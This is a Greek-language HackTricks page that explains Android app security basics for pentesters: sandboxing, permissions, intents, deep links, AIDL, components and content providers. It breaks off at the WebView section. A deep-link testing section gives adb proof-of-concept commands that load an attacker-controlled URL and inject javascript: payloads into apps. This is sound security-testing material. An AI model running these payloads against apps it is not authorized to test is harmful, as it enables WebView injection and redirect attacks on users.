Βασικά για Εφαρμογές Android
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Μοντέλο Ασφαλείας Android
Υπάρχουν δύο επίπεδα:
- Το OS, που κρατά τις εγκατεστημένες εφαρμογές απομονωμένες η μία από την άλλη.
- Η εφαρμογή ίδια, που επιτρέπει στους προγραμματιστές να εκθέτουν ορισμένες λειτουργίες και διαμορφώνει τις δυνατότητες της εφαρμογής.
Διαχωρισμός UID
Κάθε εφαρμογή έχει εκχωρηθεί ένα συγκεκριμένο User ID. Αυτό γίνεται κατά την εγκατάσταση της εφαρμογής, οπότε η εφαρμογή μπορεί να αλληλεπιδρά μόνο με αρχεία που ανήκουν στο User ID της ή με κοινόχρηστα αρχεία. Επομένως, μόνον η ίδια η εφαρμογή, ορισμένα components του OS και ο χρήστης root μπορούν να έχουν πρόσβαση στα δεδομένα της εφαρμογής.
Κοινή Χρήση UID
Δύο εφαρμογές μπορούν να διαμορφωθούν ώστε να χρησιμοποιούν το ίδιο UID. Αυτό μπορεί να είναι χρήσιμο για την ανταλλαγή πληροφοριών, αλλά αν μία από αυτές παραβιαστεί τα δεδομένα και των δύο εφαρμογών θα διακυβευτούν. Γι’ αυτό αυτή η συμπεριφορά αποθαρρύνεται.
Για να μοιραστούν το ίδιο UID, οι εφαρμογές πρέπει να ορίσουν την ίδια τιμή android:sharedUserId στα manifests τους.
Sandboxing
Το Android Application Sandbox επιτρέπει την εκτέλεση κάθε εφαρμογής ως ξεχωριστής διεργασίας υπό ξεχωριστό User ID. Κάθε διεργασία έχει τη δική της virtual machine, οπότε ο κώδικας μιας εφαρμογής εκτελείται απομονωμένος από άλλες εφαρμογές.
Από το Android 5.0(L) SELinux εφαρμόζεται υποχρεωτικά. Βασικά, το SELinux απαγόρευσε όλες τις αλληλεπιδράσεις διεργασιών και στη συνέχεια δημιούργησε πολιτικές για να επιτρέψει μόνο τις αναμενόμενες αλληλεπιδράσεις μεταξύ αυτών.
Permissions
Όταν εγκαθιστάς μια app και αυτή ζητά permissions, η εφαρμογή ζητά τα δικαιώματα που έχουν διαμορφωθεί στα στοιχεία uses-permission στο αρχείο AndroidManifest.xml. Το στοιχείο uses-permission υποδεικνύει το όνομα της αιτούμενης άδειας στο name attribute. Έχει επίσης το attribute maxSdkVersion το οποίο σταματά να ζητά άδειες σε εκδόσεις υψηλότερες από αυτήν που έχει καθοριστεί.
Σημείωσε ότι οι εφαρμογές Android δεν χρειάζεται να ζητήσουν όλα τα permissions αρχικά — μπορούν επίσης να ζητούν δικαιώματα δυναμικά, αλλά όλα τα permissions πρέπει να είναι δηλωμένα στο manifest.
Όταν μια εφαρμογή εκθέτει λειτουργικότητα μπορεί να περιορίσει την πρόσβαση μόνο σε εφαρμογές που έχουν μια συγκεκριμένη άδεια.
Ένα στοιχείο permission έχει τρία attributes:
- Το όνομα της άδειας
- Το attribute permission-group, που επιτρέπει την ομαδοποίηση σχετικών αδειών.
- Το protection-level που υποδεικνύει πώς παραχωρούνται οι άδειες. Υπάρχουν τέσσερις τύποι:
- Normal: Χρησιμοποιείται όταν δεν υπάρχουν γνωστές απειλές για την εφαρμογή. Ο χρήστης δεν απαιτείται να το εγκρίνει.
- Dangerous: Υποδεικνύει ότι η άδεια παραχωρεί στην εφαρμογή κάποιο υψηλότερο επίπεδο πρόσβασης. Ζητείται από τους χρήστες να τις εγκρίνουν.
- Signature: Μόνο εφαρμογές υπογεγραμμένες με το ίδιο πιστοποιητικό με αυτό που εξάγει το component μπορούν να λάβουν την άδεια. Αυτός είναι ο πιο ισχυρός τύπος προστασίας.
- SignatureOrSystem: Μόνο εφαρμογές υπογεγραμμένες με το ίδιο πιστοποιητικό με αυτό που εξάγει το component ή εφαρμογές που τρέχουν με system-level access μπορούν να λάβουν την άδεια.
Προεγκατεστημένες Εφαρμογές
Αυτές οι εφαρμογές συνήθως βρίσκονται στους καταλόγους /system/app ή /system/priv-app και μερικές από αυτές είναι βελτιστοποιημένες (μπορεί να μην βρείτε καν το αρχείο classes.dex). Αυτές οι εφαρμογές αξίζουν έλεγχο γιατί κάποιες φορές τρέχουν με υπερβολικά πολλά permissions (π.χ. ως root).
- Αυτές που περιλαμβάνονται στο AOSP (Android OpenSource Project) ROM
- Προστίθενται από τον κατασκευαστή της συσκευής
- Προστίθενται από τον παροχέα κινητής (αν αγοράστηκε από αυτόν)
Rooting
Για να αποκτήσεις πρόσβαση root σε μια φυσική συσκευή Android συνήθως χρειάζεται να exploit 1 ή 2 vulnerabilities που συνήθως είναι ειδικές για τη συσκευή και την έκδοση.
Μόλις το exploit λειτουργήσει, συνήθως το Linux su binary αντιγράφεται σε μια τοποθεσία που περιλαμβάνεται στη μεταβλητή PATH του χρήστη, όπως το /system/xbin.
Αφού το su binary έχει διαμορφωθεί, μια άλλη Android app χρησιμοποιείται για να αλληλεπιδρά με το su binary και να επεξεργάζεται αιτήματα για πρόσβαση root όπως οι Superuser και SuperSU (διαθέσιμες στο Google Play store).
Caution
Σημείωση ότι η διαδικασία rooting είναι πολύ επικίνδυνη και μπορεί να προκαλέσει σοβαρή ζημιά στη συσκευή
ROMs
Είναι δυνατό να αντικαταστήσεις το OS εγκαθιστώντας ένα custom firmware. Κάνοντας αυτό μπορείς να επεκτείνεις τη χρησιμότητα μιας παλιάς συσκευής, να παρακάμψεις περιορισμούς λογισμικού ή να αποκτήσεις πρόσβαση στον τελευταίο κώδικα Android.
OmniROM και LineageOS είναι δύο από τα πιο δημοφιλή firmware που χρησιμοποιούνται.
Σημείωσε ότι όχι πάντα είναι απαραίτητο να κάνεις root τη συσκευή για να εγκαταστήσεις custom firmware. Κάποιοι κατασκευαστές επιτρέπουν το ξεκλείδωμα των bootloaders τους με τεκμηριωμένο και ασφαλή τρόπο.
Επιπτώσεις
Μόλις μια συσκευή έχει γίνει rooted, οποιαδήποτε app θα μπορούσε να ζητήσει πρόσβαση ως root. Αν μια κακόβουλη εφαρμογή την αποκτήσει, θα έχει πρόσβαση σχεδόν σε τα πάντα και θα μπορεί να προκαλέσει βλάβη στη συσκευή.
Βασικά της Εφαρμογής Android
- Η μορφή των Android εφαρμογών αναφέρεται ως APK file format. Είναι ουσιαστικά ένα ZIP file (αν μετονομάσεις την επέκταση αρχείου σε .zip, τα περιεχόμενα μπορούν να εξαχθούν και να προβληθούν).
- Περιεχόμενα APK (όχι εξαντλητικό)
- AndroidManifest.xml
- resources.arsc/strings.xml
- resources.arsc: περιέχει προκαθορισμένους πόρους, όπως binary XML.
- res/xml/files_paths.xml
- META-INF/
- Εδώ βρίσκεται το Certificate!
- classes.dex
- Περιέχει Dalvik bytecode, που αντιπροσωπεύει τον compiled Java (ή Kotlin) κώδικα που εκτελείται από την εφαρμογή από προεπιλογή.
- lib/
- Φιλοξενεί native libraries, χωρισμένα ανά αρχιτεκτονική CPU σε υποκαταλόγους.
armeabi: κώδικας για επεξεργαστές βασισμένους σε ARMarmeabi-v7a: κώδικας για επεξεργαστές ARMv7 και νεότερουςx86: κώδικας για επεξεργαστές X86mips: κώδικας μόνο για επεξεργαστές MIPS- assets/
- Φιλοξενεί διάφορα αρχεία που χρειάζεται η app, ενδεχομένως συμπεριλαμβανομένων επιπλέον native libraries ή DEX αρχείων, μερικές φορές χρησιμοποιούμενα από malware authors για να κρύψουν επιπλέον κώδικα.
- res/
- Περιέχει πόρους που δεν έχουν μεταγλωττιστεί στο resources.arsc
Dalvik & Smali
Στην ανάπτυξη Android, χρησιμοποιούνται Java ή Kotlin για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιείται η JVM όπως σε desktop εφαρμογές, ο κώδικας αυτός μεταγλωττίζεται σε Dalvik Executable (DEX) bytecode. Παλαιότερα, η Dalvik virtual machine χειριζόταν αυτόν τον bytecode, αλλά τώρα το Android Runtime (ART) τον αναλαμβάνει σε νεότερες εκδόσεις Android.
Για reverse engineering, το Smali γίνεται κρίσιμο. Είναι η ανθρώπινα αναγνώσιμη μορφή του DEX bytecode, λειτουργώντας σαν γλώσσα assembly μετατρέποντας τον πηγαίο κώδικα σε οδηγίες bytecode. Το Smali και το baksmali αναφέρονται στα εργαλεία assembly και disassembly σε αυτό το πλαίσιο.
Intents
Οι Intents είναι το κύριο μέσο με το οποίο οι εφαρμογές Android επικοινωνούν μεταξύ των components τους ή με άλλες εφαρμογές. Αυτά τα αντικείμενα μηνυμάτων μπορούν επίσης να μεταφέρουν δεδομένα μεταξύ εφαρμογών ή components, παρόμοια με το πώς χρησιμοποιούνται τα GET/POST αιτήματα στις HTTP επικοινωνίες.
Οπότε ένα Intent είναι βασικά ένα μήνυμα που μεταβιβάζεται μεταξύ components. Τα Intents μπορούν να στοχεύονται σε συγκεκριμένα components ή εφαρμογές, ή μπορούν να σταλούν χωρίς συγκεκριμένο παραλήπτη.
Απλά, ένα Intent μπορεί να χρησιμοποιηθεί:
- Για να ξεκινήσει ένα Activity, συνήθως ανοίγοντας ένα user interface για μια app
- Ως broadcasts για να ενημερώσει το σύστημα και τις εφαρμογές για αλλαγές
- Για να ξεκινήσει, σταματήσει, και να επικοινωνήσει με ένα background service
- Για πρόσβαση σε δεδομένα μέσω ContentProviders
- Ως callbacks για να χειριστεί γεγονότα
Αν είναι ευπάθη, τα Intents μπορούν να χρησιμοποιηθούν για την εκτέλεση ποικίλων επιθέσεων.
Intent-Filter
Τα Intent Filters ορίζουν πώς ένα activity, service, ή Broadcast Receiver μπορεί να αλληλεπιδράσει με διαφορετικούς τύπους Intents. Ουσιαστικά, περιγράφουν τις δυνατότητες αυτών των components, όπως ποιες ενέργειες μπορούν να εκτελέσουν ή ποια είδη broadcasts μπορούν να επεξεργαστούν. Ο κύριος τόπος δήλωσης αυτών των φίλτρων είναι το αρχείο AndroidManifest.xml, αν και για Broadcast Receivers είναι επίσης επιλογή να κωδικοποιηθούν.
Τα Intent Filters αποτελούνται από categories, actions και data filters, με τη δυνατότητα να συμπεριλαμβάνουν επιπλέον metadata. Αυτή η ρύθμιση επιτρέπει στα components να χειρίζονται συγκεκριμένα Intents που ταιριάζουν στα δηλωμένα κριτήρια.
Ένα κρίσιμο στοιχείο των Android components (activities/services/content providers/broadcast receivers) είναι η ορατότητα ή η δημόσια κατάσταση τους. Ένα component θεωρείται δημόσιο και μπορεί να αλληλεπιδράσει με άλλες apps αν είναι exported με τιμή true ή αν έχει δηλωθεί ένα Intent Filter για αυτό στο manifest. Ωστόσο, υπάρχει τρόπος για τους προγραμματιστές να κρατήσουν ρητά αυτά τα components ιδιωτικά, εξασφαλίζοντας ότι δεν αλληλεπιδρούν με άλλες εφαρμογές κατά λάθος. Αυτό επιτυγχάνεται ρυθμίζοντας το attribute exported σε false στις δηλώσεις τους στο manifest.
Επιπλέον, οι προγραμματιστές έχουν την επιλογή να ενισχύσουν περαιτέρω την ασφάλεια της πρόσβασης σε αυτά τα components απαιτώντας συγκεκριμένα permissions. Το attribute permission μπορεί να οριστεί για να επιβάλει ότι μόνο εφαρμογές με την ορισμένη άδεια μπορούν να έχουν πρόσβαση στο component, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και ελέγχου για το ποιος μπορεί να αλληλεπιδράσει μαζί του.
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
Implicit Intents
Τα Intents δημιουργούνται προγραμματιστικά χρησιμοποιώντας έναν Intent constructor:
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
Η Action του προηγουμένως δηλωμένου intent είναι ACTION_SEND και το Extra είναι ένα mailto Uri (το Extra είναι οι πρόσθετες πληροφορίες που αναμένει το intent).
Αυτό το intent πρέπει να δηλωθεί μέσα στο manifest όπως στο παρακάτω παράδειγμα:
<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Ένα intent-filter πρέπει να ταιριάζει με τα action, data και category για να λάβει ένα μήνυμα.
Η διαδικασία “Intent resolution” καθορίζει ποια εφαρμογή θα λάβει κάθε μήνυμα. Αυτή η διαδικασία λαμβάνει υπόψη το priority attribute, το οποίο μπορεί να οριστεί στην intent-filter declaration, και the one with the higher priority will be selected. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή SYSTEM_HIGH_PRIORITY. Εάν προκύψει conflict, εμφανίζεται ένα παράθυρο επιλογής ώστε ο user can decide.
Explicit Intents
An explicit intent specifies the class name it’s targeting:
Intent downloadIntent = new (this, DownloadService.class):
Σε άλλες εφαρμογές, για να αποκτήσετε πρόσβαση στο προηγουμένως δηλωμένο intent μπορείτε να χρησιμοποιήσετε:
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
Pending Intents
Αυτά επιτρέπουν σε άλλες εφαρμογές να εκτελούν ενέργειες εκ μέρους της εφαρμογής σας, χρησιμοποιώντας την ταυτότητα και τα δικαιώματα της εφαρμογής σας. Κατά τη δημιουργία ενός Pending Intent θα πρέπει να ορίζεται ένα intent και η ενέργεια που θα εκτελεστεί. Εάν το δηλωμένο intent δεν είναι Explicit (δεν δηλώνει ποιο intent μπορεί να το καλέσει), μια κακόβουλη εφαρμογή θα μπορούσε να εκτελέσει τη δηλωμένη ενέργεια εκ μέρους της εφαρμογής-θύματος. Επιπλέον, εάν δεν καθορίζεται ενέργεια, η κακόβουλη εφαρμογή θα μπορεί να πραγματοποιήσει οποιαδήποτε ενέργεια εκ μέρους του θύματος.
Broadcast Intents
Σε αντίθεση με τα προηγούμενα intents, που λαμβάνονται μόνο από μία εφαρμογή, τα broadcast intents μπορεί να ληφθούν από πολλαπλές εφαρμογές. Ωστόσο, από την API version 14, είναι εφικτό να προσδιοριστεί η εφαρμογή που πρέπει να λάβει το μήνυμα χρησιμοποιώντας Intent.set Package.
Εναλλακτικά, είναι επίσης δυνατό να καθοριστεί ένα permission κατά την αποστολή του broadcast. Η εφαρμογή παραλήπτης θα πρέπει να διαθέτει αυτό το permission.
Υπάρχουν δύο τύποι Broadcasts: Normal (ασύγχρονα) και Ordered (σύγχρονα). Η σειρά βασίζεται στην διαμορφωμένη προτεραιότητα στο στοιχείο receiver. Κάθε εφαρμογή μπορεί να επεξεργαστεί, προωθήσει ή απορρίψει το Broadcast.
Είναι δυνατό να στείλετε ένα broadcast χρησιμοποιώντας τη συνάρτηση sendBroadcast(intent, receiverPermission) από την κλάση Context.
Μπορείτε επίσης να χρησιμοποιήσετε τη συνάρτηση sendBroadcast από το LocalBroadCastManager που εξασφαλίζει ότι το μήνυμα δεν βγαίνει ποτέ από την εφαρμογή. Χρησιμοποιώντας αυτό δεν θα χρειαστεί καν να εξάγετε ένα receiver component.
Sticky Broadcasts
Αυτός ο τύπος Broadcasts μπορεί να προσπελαστεί πολύ μετά την αποστολή του.
Αυτά αποκηρύχθηκαν στο API level 21 και συνιστάται να μην χρησιμοποιούνται.
Επιτρέπουν σε οποιαδήποτε εφαρμογή να κατασκοπεύει τα δεδομένα, αλλά και να τα τροποποιεί.
Εάν βρείτε συναρτήσεις που περιέχουν τη λέξη “sticky”, όπως sendStickyBroadcast ή sendStickyBroadcastAsUser, ελέγξτε τον αντίκτυπο και προσπαθήστε να τις αφαιρέσετε.
Deep links / URL schemes
Στις Android εφαρμογές, τα deep links χρησιμοποιούνται για να εκκινήσουν μια ενέργεια (Intent) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο URL scheme μέσα σε μια activity. Όταν μια Android συσκευή προσπαθήσει να προσπελάσει ένα URL με αυτό το scheme, η καθορισμένη activity εντός της εφαρμογής εκκινείται.
Το scheme πρέπει να δηλωθεί στο αρχείο AndroidManifest.xml:
[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]
Το scheme από το προηγούμενο παράδειγμα είναι examplescheme:// (σημειώστε επίσης την category BROWSABLE)
Στη συνέχεια, στο data field, μπορείτε να καθορίσετε τα host και path:
<data android:scheme="examplescheme"
android:host="example"
/>
Για να αποκτήσετε πρόσβαση σε αυτό από το web, είναι δυνατό να ορίσετε έναν σύνδεσμο όπως:
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
Για να βρεις τον κώδικα που θα εκτελεστεί στην εφαρμογή, πήγαινε στην activity που καλείται από το deeplink και αναζήτησε τη συνάρτηση onNewIntent.
Μάθε πώς να καλείς deep links χωρίς να χρησιμοποιείς HTML pages.
Deep link security testing & adb PoCs
- Entry point discovery: exported Activities που δηλώνουν
<action android:name="android.intent.action.VIEW" />+<category android:name="android.intent.category.BROWSABLE" />είναι απομακρυσμένα προσβάσιμες μέσω ειδικά διαμορφωμένων URIs (custom schemes ήhttp/httpsApp Links). Δώστε προτεραιότητα σε paths που περιέχουν τις λέξεις‑κλειδιά login/reset/payment/wallet/admin. - Validation bypass heuristics: αδύναμοι έλεγχοι host όπως
endsWith(),contains(), permissive regexes, ή substring allowlists συχνά μπορούν να παρακαμφθούν με attacker-controlled subdomains, κόλπα με prefix/suffix και διπλή κωδικοποίηση URL/UTF‑8. - WebView sinks: αν ο handler προωθεί το εισερχόμενο URI ή τα query params στο
WebView.loadUrl(...), μπορείτε να αναγκάσετε την εφαρμογή να αποδώσει αυθαίρετο περιεχόμενο του attacker. Αν ο έλεγχος του scheme είναι αδύναμος, δοκιμάστε payloadsjavascript:καθώς και εξωτερικάhttps://URLs. - adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"
# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
- Operational tips: καταγράψτε πολλαπλές παραλλαγές payload (external URL vs
javascript:) και επαναλάβετε γρήγορα τα tests σε συσκευή/emulator για να διαχωρίσετε πραγματικά ζητήματα (open-redirect/auth-bypass/WebView URL injection) από θόρυβο στατικός-ανάλυσης. - Automation: Deep-C αυτοματοποιεί το deeplink hunting αποσυμπιέζοντας το APK (apktool + dex2jar + jadx), απαριθμώντας exported + browsable activities, συσχετίζοντας αδύναμο validation και ροές
WebView.loadUrl, και παράγοντας έτοιμα προς εκτέλεση adb PoCs (προαιρετικά αυτόματα με--exec).
AIDL - Android Interface Definition Language
Η Android Interface Definition Language (AIDL) έχει σχεδιαστεί για να διευκολύνει την επικοινωνία μεταξύ client και service σε Android εφαρμογές μέσω της interprocess communication (IPC). Εφόσον η άμεση πρόσβαση στη μνήμη άλλης διεργασίας δεν επιτρέπεται στο Android, το AIDL απλοποιεί τη διαδικασία με το να σειριοποιεί αντικείμενα σε μορφή που κατανοεί το λειτουργικό σύστημα, διευκολύνοντας έτσι την επικοινωνία μεταξύ διαφορετικών διεργασιών.
Key Concepts
-
Bound Services: Αυτές οι υπηρεσίες χρησιμοποιούν AIDL για IPC, επιτρέποντας σε activities ή components να δεσμεύονται σε μια service, να κάνουν αιτήματα και να λαμβάνουν απαντήσεις. Η μέθοδος
onBindστην κλάση της service είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την ένα σημαντικό σημείο για έλεγχο ασφαλείας στην αναζήτηση ευπαθειών. -
Messenger: Λειτουργώντας ως bound service, το Messenger διευκολύνει την IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου
onBind. Είναι ουσιώδες να ελεγχθεί προσεκτικά αυτή η μέθοδος για οποιαδήποτε μη ασφαλή χειρισμό δεδομένων ή εκτέλεση ευαίσθητων λειτουργιών. -
Binder: Αν και η άμεση χρήση της κλάσης Binder είναι λιγότερο συνηθισμένη λόγω της αφαίρεσης που παρέχει το AIDL, είναι χρήσιμο να κατανοήσει κανείς ότι ο Binder λειτουργεί ως driver επιπέδου πυρήνα που διευκολύνει τη μεταφορά δεδομένων μεταξύ των χώρων μνήμης διαφορετικών διεργασιών. Για περαιτέρω κατανόηση υπάρχει πόρος στο https://www.youtube.com/watch?v=O-UHvFjxwZ8.
Components
These include: Activities, Services, Broadcast Receivers and Providers.
Launcher Activity and other activities
Σε Android apps, activities είναι σαν οθόνες, εμφανίζοντας διαφορετικά μέρη του user interface της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές activities, η κάθε μία παρουσιάζει μια ξεχωριστή οθόνη στον χρήστη.
Η launcher activity είναι η κύρια πύλη εισόδου σε μια εφαρμογή, ξεκινά όταν πατάτε το εικονίδιο της εφαρμογής. Ορίζεται στο manifest της εφαρμογής με συγκεκριμένα MAIN και LAUNCHER intents:
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
Δεν χρειάζονται όλες οι apps ένα launcher activity, ειδικά αυτές χωρίς user interface, όπως background services.
Οι Activities μπορούν να γίνουν διαθέσιμες σε άλλες apps ή processes, σημειώνοντάς τες ως “exported” στο manifest. Αυτή η ρύθμιση επιτρέπει σε άλλες apps να ξεκινήσουν αυτή την activity:
<service android:name=".ExampleExportedService" android:exported="true"/>
Ωστόσο, η πρόσβαση σε ένα activity από άλλη εφαρμογή δεν αποτελεί πάντα κίνδυνο ασφαλείας. Το ζήτημα προκύπτει εάν ευαίσθητα δεδομένα κοινοποιούνται ακατάλληλα, κάτι που θα μπορούσε να οδηγήσει σε information leaks.
Ο κύκλος ζωής ενός activity ξεκινά με τη μέθοδο onCreate, ρυθμίζοντας το UI και προετοιμάζοντας το activity για αλληλεπίδραση με τον χρήστη.
Υποκλάση της Application
Στην ανάπτυξη Android, μια εφαρμογή έχει την επιλογή να δημιουργήσει μια υποκλάση της Application class, αν και δεν είναι υποχρεωτικό. Όταν ορίζεται τέτοια υποκλάση, γίνεται η πρώτη κλάση που θα δημιουργηθεί εντός της εφαρμογής. Η μέθοδος attachBaseContext, εάν υλοποιηθεί σε αυτήν την υποκλάση, εκτελείται πριν από τη μέθοδο onCreate. Αυτή η ρύθμιση επιτρέπει πρώιμη αρχικοποίηση πριν ξεκινήσει το υπόλοιπο της εφαρμογής.
public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}
@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}
Services
Services are λειτουργίες στο υπόβαθρο ικανές να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να τρέχουν ακόμη και όταν οι χρήστες μεταβαίνουν σε άλλες εφαρμογές, καθιστώντας τις υπηρεσίες κρίσιμες για μακροχρόνιες λειτουργίες.
Οι υπηρεσίες είναι ευέλικτες· μπορούν να ξεκινούν με διάφορους τρόπους, με τα Intents να αποτελούν τον κύριο τρόπο εκκίνησης τους ως σημείο εισόδου της εφαρμογής. Μόλις μια υπηρεσία ξεκινήσει χρησιμοποιώντας τη μέθοδο startService, η μέθοδος onStart τίθεται σε λειτουργία και συνεχίζει να τρέχει μέχρι να κληθεί ρητά η μέθοδος stopService. Εναλλακτικά, αν ο ρόλος μιας υπηρεσίας εξαρτάται από ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος bindService για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο onBind για τη μεταφορά δεδομένων.
Μια συνηθισμένη εφαρμογή των υπηρεσιών είναι η αναπαραγωγή μουσικής στο υπόβαθρο ή η ανάκτηση δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με την εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες από άλλες διεργασίες στην ίδια συσκευή μέσω του exporting. Αυτό δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί ρητή ρύθμιση στο Android Manifest file:
<service android:name=".ExampleExportedService" android:exported="true"/>
Broadcast Receivers
Broadcast receivers λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκριθούν στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να εγγράψει έναν receiver με δύο βασικούς τρόπους: μέσω του Manifest της εφαρμογής ή δυναμικά μέσα στον κώδικα της εφαρμογής μέσω του registerReceiver API. Στο Manifest, τα broadcasts φιλτράρονται με permissions, ενώ οι δυναμικά εγγεγραμμένοι receivers μπορούν επίσης να καθορίσουν permissions κατά την εγγραφή.
Intent filters είναι κρίσιμες και στις δύο μεθόδους εγγραφής, καθορίζοντας ποια broadcasts ενεργοποιούν τον receiver. Μόλις σταλεί ένα ταιριαστό broadcast, καλείται η μέθοδος onReceive του receiver, επιτρέποντας στην εφαρμογή να αντιδράσει ανάλογα, π.χ. προσαρμόζοντας τη συμπεριφορά της σε ειδοποίηση χαμηλής μπαταρίας.
Τα broadcasts μπορούν να είναι είτε asynchronous, φτάνοντας σε όλους τους receivers χωρίς συγκεκριμένη σειρά, είτε synchronous, όπου οι receivers λαμβάνουν το broadcast με βάση καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο ενδεχόμενος κίνδυνος ασφαλείας, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει στον εαυτό της υψηλότερη προτεραιότητα για να υποκλέψει ένα broadcast.
Για να κατανοήσετε τη λειτουργικότητα ενός receiver, αναζητήστε τη μέθοδο onReceive μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να χειριστεί το ληφθέν Intent, υπογραμμίζοντας την ανάγκη για επικύρωση δεδομένων από τους receivers, ιδιαίτερα στα Ordered Broadcasts, τα οποία μπορούν να τροποποιήσουν ή να απορρίψουν το Intent.
Content Provider
Content Providers είναι απαραίτητοι για την κοινή χρήση δομημένων δεδομένων μεταξύ εφαρμογών, τονίζοντας τη σημασία της εφαρμογής permissions για την ασφάλεια των δεδομένων. Επιτρέπουν στις εφαρμογές να έχουν πρόσβαση σε δεδομένα από διάφορες πηγές, όπως βάσεις δεδομένων, αρχεία συστήματος ή το web. Συγκεκριμένα permissions, όπως readPermission και writePermission, είναι κρίσιμα για τον έλεγχο πρόσβασης. Επιπλέον, προσωρινή πρόσβαση μπορεί να δοθεί μέσω ρυθμίσεων grantUriPermission στο manifest της εφαρμογής, αξιοποιώντας attributes όπως path, pathPrefix και pathPattern για λεπτομερή έλεγχο πρόσβασης.
Η επικύρωση εισόδου είναι πρωταρχικής σημασίας για την αποτροπή ευπαθειών, όπως SQL injection. Οι Content Providers υποστηρίζουν βασικές λειτουργίες: insert(), update(), delete() και query(), διευκολύνοντας τη χειραγωγία και την κοινή χρήση δεδομένων μεταξύ εφαρμογών.
Permission semantics and pitfalls (Content Providers)
- Αν ένας provider είναι exported, θα πρέπει να δηλώνετε ρητά τόσο το readPermission όσο και το writePermission. Όταν το writePermission παραλείπεται η προεπιλογή είναι null, που σημαίνει ότι οποιαδήποτε εφαρμογή μπορεί να επιχειρήσει insert/update/delete εάν αυτές οι μέθοδοι είναι υλοποιημένες από τον provider.
- Μην συγχωνεύετε ποτέ μη αξιόπιστα projection, selection, selectionArgs ή sortOrder σε ακατέργαστο SQL. Χρησιμοποιήστε whitelists και parameter binding (π.χ. SQLiteQueryBuilder με projection map) και σταθερά πρότυπα WHERE.
- Προτιμήστε android:exported=“false” εκτός αν ο provider πρέπει να είναι δημόσιος. Για επιλεκτική κοινή χρήση, χρησιμοποιήστε grantUriPermissions με path/pathPrefix/pathPattern.
FileProvider, ένας εξειδικευμένος Content Provider, επικεντρώνεται στην ασφαλή κοινή χρήση αρχείων. Ορίζεται στο manifest της εφαρμογής με συγκεκριμένα attributes για τον έλεγχο πρόσβασης σε φακέλους, δηλωμένα από τα android:exported και android:resource που δείχνουν σε ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά την κοινή χρήση καταλόγων για να αποφευχθεί η ανεπιθύμητη έκθεση ευαίσθητων δεδομένων.
Example manifest declaration for FileProvider:
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>
Και ένα παράδειγμα καθορισμού κοινόχρηστων φακέλων στο filepaths.xml:
<paths>
<files-path path="images/" name="myimages" />
</paths>
Για περισσότερες πληροφορίες δείτε:
WebViews
Τα WebViews είναι σαν μικροί περιηγητές ιστού μέσα σε Android εφαρμογές, φορτώνοντας περιεχόμενο είτε από το web είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς browsers, αλλά υπάρχουν τρόποι να μειώσετε αυτούς τους κινδύνους μέσω συγκεκριμένων ρυθμίσεων.
Το Android προσφέρει δύο κύριους τύπους WebView:
